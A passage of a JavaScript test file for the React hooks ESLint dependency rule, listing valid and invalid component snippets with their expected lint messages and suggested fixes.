     `,\n    },\n    {\n      // Declaring handleNext is optional because\n      // everything they use is fully static.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n          let [, dispatch] = React.useReducer();\n\n          function handleNext1(value) {\n            let value2 = value * 100;\n            setState(value2);\n            console.log('hello');\n          }\n          const handleNext2 = (value) => {\n            setState(foo(value));\n            console.log('hello');\n          };\n          let handleNext3 = function(value) {\n            console.log(value);\n            dispatch({ type: 'x', value });\n          };\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n          }, []);\n          useLayoutEffect(() => {\n            return Store.subscribe(handleNext2);\n          }, []);\n          useMemo(() => {\n            return Store.subscribe(handleNext3);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function useInterval(callback, delay) {\n          const savedCallback = useRef();\n          useEffect(() => {\n            savedCallback.current = callback;\n          });\n          useEffect(() => {\n            function tick() {\n              savedCallback.current();\n            }\n            if (delay !== null) {\n              let id = setInterval(tick, delay);\n              return () => clearInterval(id);\n            }\n          }, [delay]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          const [count, setCount] = useState(0);\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(c => c + 1);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Counter(unstableProp) {\n          let [count, setCount] = useState(0);\n          setCount = unstableProp\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(c => c + 1);\n            }, 1000);\n            return () => clearInterval(id);\n          }, [setCount]);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          const [count, setCount] = useState(0);\n\n          function tick() {\n            setCount(c => c + 1);\n          }\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              tick();\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          const [count, dispatch] = useReducer((state, action) => {\n            if (action === 'inc') {\n              return state + 1;\n            }\n          }, 0);\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              dispatch('inc');\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          const [count, dispatch] = useReducer((state, action) => {\n            if (action === 'inc') {\n              return state + 1;\n            }\n          }, 0);\n\n          const tick = () => {\n            dispatch('inc');\n          };\n\n          useEffect(() => {\n            let id = setInterval(tick, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      // Regression test for a crash\n      code: normalizeIndent`\n        function Podcasts() {\n          useEffect(() => {\n            setPodcasts([]);\n          }, []);\n          let [podcasts, setPodcasts] = useState(null);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function withFetch(fetchPodcasts) {\n          return function Podcasts({ id }) {\n            let [podcasts, setPodcasts] = useState(null);\n            useEffect(() => {\n              fetchPodcasts(id).then(setPodcasts);\n            }, [id]);\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Podcasts({ id }) {\n          let [podcasts, setPodcasts] = useState(null);\n          useEffect(() => {\n            function doFetch({ fetchPodcasts }) {\n              fetchPodcasts(id).then(setPodcasts);\n            }\n            doFetch({ fetchPodcasts: API.fetchPodcasts });\n          }, [id]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          let [count, setCount] = useState(0);\n\n          function increment(x) {\n            return x + 1;\n          }\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(increment);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          let [count, setCount] = useState(0);\n\n          function increment(x) {\n            return x + 1;\n          }\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count => increment(count));\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        import increment from './increment';\n        function Counter() {\n          let [count, setCount] = useState(0);\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count => count + increment);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function withStuff(increment) {\n          return function Counter() {\n            let [count, setCount] = useState(0);\n\n            useEffect(() => {\n              let id = setInterval(() => {\n                setCount(count => count + increment);\n              }, 1000);\n              return () => clearInterval(id);\n            }, []);\n\n            return <h1>{count}</h1>;\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function App() {\n          const [query, setQuery] = useState('react');\n          const [state, setState] = useState(null);\n          useEffect(() => {\n            let ignore = false;\n            fetchSomething();\n            async function fetchSomething() {\n              const result = await (await fetch('http://hn.algolia.com/api/v1/search?query=' + query)).json();\n              if (!ignore) setState(result);\n            }\n            return () => { ignore = true; };\n          }, [query]);\n          return (\n            <>\n              <input value={query} onChange={e => setQuery(e.target.value)} />\n              {JSON.stringify(state)}\n            </>\n          );\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Example() {\n          const foo = useCallback(() => {\n            foo();\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Example({ prop }) {\n          const foo = useCallback(() => {\n            if (prop) {\n              foo();\n            }\n          }, [prop]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Hello() {\n          const [state, setState] = useState(0);\n          useEffect(() => {\n            const handleResize = () => setState(window.innerWidth);\n            window.addEventListener('resize', handleResize);\n            return () => window.removeEventListener('resize', handleResize);\n          });\n        }\n      `,\n    },\n    // Ignore arguments keyword for arrow functions.\n    {\n      code: normalizeIndent`\n        function Example() {\n          useEffect(() => {\n            arguments\n          }, [])\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function Example() {\n          useEffect(() => {\n            const bar = () => {\n              arguments;\n            };\n            bar();\n          }, [])\n        }\n      `,\n    },\n    // Regression test.\n    {\n      code: normalizeIndent`\n        function Example(props) {\n          useEffect(() => {\n            let topHeight = 0;\n            topHeight = props.upperViewHeight;\n          }, [props.upperViewHeight]);\n        }\n      `,\n    },\n    // Regression test.\n    {\n      code: normalizeIndent`\n        function Example(props) {\n          useEffect(() => {\n            let topHeight = 0;\n            topHeight = props?.upperViewHeight;\n          }, [props?.upperViewHeight]);\n        }\n      `,\n    },\n    // Regression test.\n    {\n      code: normalizeIndent`\n        function Example(props) {\n          useEffect(() => {\n            let topHeight = 0;\n            topHeight = props?.upperViewHeight;\n          }, [props]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function useFoo(foo){\n          return useMemo(() => foo, [foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function useFoo(){\n          const foo = \"hi!\";\n          return useMemo(() => foo, [foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function useFoo(){\n          let {foo} = {foo: 1};\n          return useMemo(() => foo, [foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function useFoo(){\n          let [foo] = [1];\n          return useMemo(() => foo, [foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function useFoo() {\n          const foo = \"fine\";\n          if (true) {\n            // Shadowed variable with constant construction in a nested scope is fine.\n            const foo = {};\n          }\n          return useMemo(() => foo, [foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({foo}) {\n          return useMemo(() => foo, [foo])\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const foo = true ? \"fine\" : \"also fine\";\n          return useMemo(() => foo, [foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          useEffect(() => {\n            console.log('banana banana banana');\n          }, undefined);\n        }\n      `,\n    },\n    {\n      // Test settings-based additionalHooks - should work with settings\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          });\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: 'useCustomEffect',\n        },\n      },\n    },\n    {\n      // Test settings-based additionalHooks - should work with dependencies\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          }, [props.foo]);\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: 'useCustomEffect',\n        },\n      },\n    },\n    {\n      // Test that rule-level additionalHooks takes precedence over settings\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n      options: [{additionalHooks: 'useAnotherEffect'}],\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: 'useCustomEffect',\n        },\n      },\n    },\n    {\n      // Test settings with multiple hooks pattern\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          }, [props.foo]);\n          useAnotherEffect(() => {\n            console.log(props.bar);\n          }, [props.bar]);\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: '(useCustomEffect|useAnotherEffect)',\n        },\n      },\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ theme }) {\n          const onStuff = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useEffect(() => {\n            onStuff();\n          }, []);\n          React.useEffect(() => {\n            onStuff();\n          }, []);\n        }\n      `,\n    },\n  ],\n  invalid: [\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useSpecialEffect(() => {\n            console.log(props.foo);\n          }, null);\n        }\n      `,\n      options: [{additionalHooks: 'useSpecialEffect'}],\n      errors: [\n        {\n          message:\n            \"React Hook useSpecialEffect was passed a dependency list that is not an array literal. This means we can't statically verify whether you've passed the correct dependencies.\",\n        },\n        {\n          message:\n            \"React Hook useSpecialEffect has a missing dependency: 'props.foo'. Either include it or remove the dependency array.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useSpecialEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo?.toString());\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCallback(() => {\n                    console.log(props.foo?.toString());\n                  }, [props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Affected code should use React.useActionState instead\n      code: normalizeIndent`\n        function ComponentUsingFormState(props) {\n          const [state7, dispatch3] = useFormState();\n          const [state8, dispatch4] = ReactDOM.useFormState();\n          useEffect(() => {\n            dispatch3();\n            dispatch4();\n\n            // dynamic\n            console.log(state7);\n            console.log(state8);\n\n          }, [state7, state8]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'dispatch3' and 'dispatch4'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [dispatch3, dispatch4, state7, state8]',\n              output: normalizeIndent`\n                function ComponentUsingFormState(props) {\n                  const [state7, dispatch3] = useFormState();\n                  const [state8, dispatch4] = ReactDOM.useFormState();\n                  useEffect(() => {\n                    dispatch3();\n                    dispatch4();\n\n                    // dynamic\n                    console.log(state7);\n                    console.log(state8);\n\n                  }, [dispatch3, dispatch4, state7, state8]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo?.bar.baz);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props.foo?.bar.baz'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo?.bar.baz]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCallback(() => {\n                    console.log(props.foo?.bar.baz);\n                  }, [props.foo?.bar.baz]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo?.bar?.baz);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props.foo?.bar?.baz'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo?.bar?.baz]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCallback(() => {\n                    console.log(props.foo?.bar?.baz);\n                  }, [props.foo?.bar?.baz]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo?.bar.toString());\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props.foo?.bar'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo?.bar]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCallback(() => {\n                    console.log(props.foo?.bar.toString());\n                  }, [props.foo?.bar]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = someFunc();\n          useEffect(() => {\n            console.log(local);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = someFunc();\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter(unstableProp) {\n          let [count, setCount] = useState(0);\n          setCount = unstableProp\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(c => c + 1);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'setCount'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [setCount]',\n              output: normalizeIndent`\n                function Counter(unstableProp) {\n                  let [count, setCount] = useState(0);\n                  setCount = unstableProp\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      setCount(c => c + 1);\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [setCount]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Note: we *could* detect it's a primitive and never assigned\n      // even though it's not a constant -- but we currently don't.\n      // So this is an error.\n      code: normalizeIndent`\n        function MyComponent() {\n          let local = 42;\n          useEffect(() => {\n            console.log(local);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  let local = 42;\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Regexes are literals but potentially stateful.\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = /foo/;\n          useEffect(() => {\n            console.log(local);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = /foo/;\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Invalid because they don't have a meaning without deps.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const value = useMemo(() => { return 2*2; });\n          const fn = useCallback(() => { alert('foo'); });\n        }\n      `,\n      // We don't know what you meant.\n      errors: [\n        {\n          message:\n            'React Hook useMemo does nothing when called with only one argument. ' +\n            'Did you forget to pass an array of dependencies?',\n          suggestions: undefined,\n        },\n        {\n          message:\n            'React Hook useCallback does nothing when called with only one argument. ' +\n            'Did you forget to pass an array of dependencies?',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      // Invalid because they don't have a meaning without deps.\n      code: normalizeIndent`\n        function MyComponent({ fn1, fn2 }) {\n          const value = useMemo(fn1);\n          const fn = useCallback(fn2);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useMemo does nothing when called with only one argument. ' +\n            'Did you forget to pass an array of dependencies?',\n          suggestions: undefined,\n        },\n        {\n          message:\n            'React Hook useCallback does nothing when called with only one argument. ' +\n            'Did you forget to pass an array of dependencies?',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          useEffect()\n          useLayoutEffect()\n          useCallback()\n          useMemo()\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect requires an effect callback. ' +\n            'Did you forget to pass a callback to the hook?',\n          suggestions: undefined,\n        },\n        {\n          message:\n            'React Hook useLayoutEffect requires an effect callback. ' +\n            'Did you forget to pass a callback to the hook?',\n          suggestions: undefined,\n        },\n        {\n          message:\n            'React Hook useCallback requires an effect callback. ' +\n            'Did you forget to pass a callback to the hook?',\n          suggestions: undefined,\n        },\n        {\n          message:\n            'React Hook useMemo requires an effect callback. ' +\n            'Did you forget to pass a callback to the hook?',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = someFunc();\n          useEffect(() => {\n            if (true) {\n              console.log(local);\n            }\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = someFunc();\n                  useEffect(() => {\n                    if (true) {\n                      console.log(local);\n                    }\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            try {\n              console.log(local);\n            } finally {}\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    try {\n                      console.log(local);\n                    } finally {}\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            function inner() {\n              console.log(local);\n            }\n            inner();\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    function inner() {\n                      console.log(local);\n                    }\n                    inner();\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = someFunc();\n          {\n            const local2 = someFunc();\n            useEffect(() => {\n              console.log(local1);\n              console.log(local2);\n            }, []);\n          }\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'local1' and 'local2'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local1, local2]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local1 = someFunc();\n                  {\n                    const local2 = someFunc();\n                    useEffect(() => {\n                      console.log(local1);\n                      console.log(local2);\n                    }, [local1, local2]);\n                  }\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = {};\n          const local2 = {};\n          useEffect(() => {\n            console.log(local1);\n            console.log(local2);\n          }, [local1]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local2'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local1, local2]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local1 = {};\n                  const local2 = {};\n                  useEffect(() => {\n                    console.log(local1);\n                    console.log(local2);\n                  }, [local1, local2]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = {};\n          const local2 = {};\n          useMemo(() => {\n            console.log(local1);\n          }, [local1, local2]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useMemo has an unnecessary dependency: 'local2'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local1]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local1 = {};\n                  const local2 = {};\n                  useMemo(() => {\n                    console.log(local1);\n                  }, [local1]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = someFunc();\n          function MyNestedComponent() {\n            const local2 = {};\n            useCallback(() => {\n              console.log(local1);\n              console.log(local2);\n            }, [local1]);\n          }\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'local2'. \" +\n            'Either include it or remove the dependency array. ' +\n            \"Outer scope values like 'local1' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local2]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local1 = someFunc();\n                  function MyNestedComponent() {\n                    const local2 = {};\n                    useCallback(() => {\n                      console.log(local1);\n                      console.log(local2);\n                    }, [local2]);\n                  }\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n            console.log(local);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(local);\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n            console.log(local);\n          }, [local, local]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a duplicate dependency: 'local'. \" +\n            'Either omit it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(local);\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          useCallback(() => {}, [window]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'window'. \" +\n            'Either exclude it or remove the dependency array. ' +\n            \"Outer scope values like 'window' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function MyComponent() {\n                  useCallback(() => {}, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // It is not valid for useCallback to specify extraneous deps\n      // because it doesn't serve as a side effect trigger unlike useEffect.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let local = props.foo;\n          useCallback(() => {}, [local]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'local'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let local = props.foo;\n                  useCallback(() => {}, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ history }) {\n          useEffect(() => {\n            return history.listen();\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'history'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [history]',\n              output: normalizeIndent`\n                function MyComponent({ history }) {\n                  useEffect(() => {\n                    return history.listen();\n                  }, [history]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ history }) {\n          useEffect(() => {\n            return [\n              history.foo.bar[2].dobedo.listen(),\n              history.foo.bar().dobedo.listen[2]\n            ];\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'history.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [history.foo]',\n              output: normalizeIndent`\n                function MyComponent({ history }) {\n                  useEffect(() => {\n                    return [\n                      history.foo.bar[2].dobedo.listen(),\n                      history.foo.bar().dobedo.listen[2]\n                    ];\n                  }, [history.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ history }) {\n          useEffect(() => {\n            return [\n              history?.foo\n            ];\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'history?.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [history?.foo]',\n              output: normalizeIndent`\n                function MyComponent({ history }) {\n                  useEffect(() => {\n                    return [\n                      history?.foo\n                    ];\n                  }, [history?.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          useEffect(() => {}, ['foo']);\n        }\n      `,\n      errors: [\n        {\n          message:\n            // Don't assume user meant `foo` because it's not used in the effect.\n            \"The 'foo' literal is not a valid dependency because it never changes. \" +\n            'You can safely remove it.',\n          // TODO: provide suggestion.\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ foo, bar, baz }) {\n          useEffect(() => {\n            console.log(foo, bar, baz);\n          }, ['foo', 'bar']);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'bar', 'baz', and 'foo'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [bar, baz, foo]',\n              output: normalizeIndent`\n                function MyComponent({ foo, bar, baz }) {\n                  useEffect(() => {\n                    console.log(foo, bar, baz);\n                  }, [bar, baz, foo]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"The 'foo' literal is not a valid dependency because it never changes. \" +\n            'Did you mean to include foo in the array instead?',\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'bar' literal is not a valid dependency because it never changes. \" +\n            'Did you mean to include bar in the array instead?',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ foo, bar, baz }) {\n          useEffect(() => {\n            console.log(foo, bar, baz);\n          }, [42, false, null]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'bar', 'baz', and 'foo'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [bar, baz, foo]',\n              output: normalizeIndent`\n                function MyComponent({ foo, bar, baz }) {\n                  useEffect(() => {\n                    console.log(foo, bar, baz);\n                  }, [bar, baz, foo]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'The 42 literal is not a valid dependency because it never changes. You can safely remove it.',\n          suggestions: undefined,\n        },\n        {\n          message:\n            'The false literal is not a valid dependency because it never changes. You can safely remove it.',\n          suggestions: undefined,\n        },\n        {\n          message:\n            'The null literal is not a valid dependency because it never changes. You can safely remove it.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const dependencies = [];\n          useEffect(() => {}, dependencies);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect was passed a dependency list that is not an ' +\n            \"array literal. This means we can't statically verify whether you've \" +\n            'passed the correct dependencies.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = 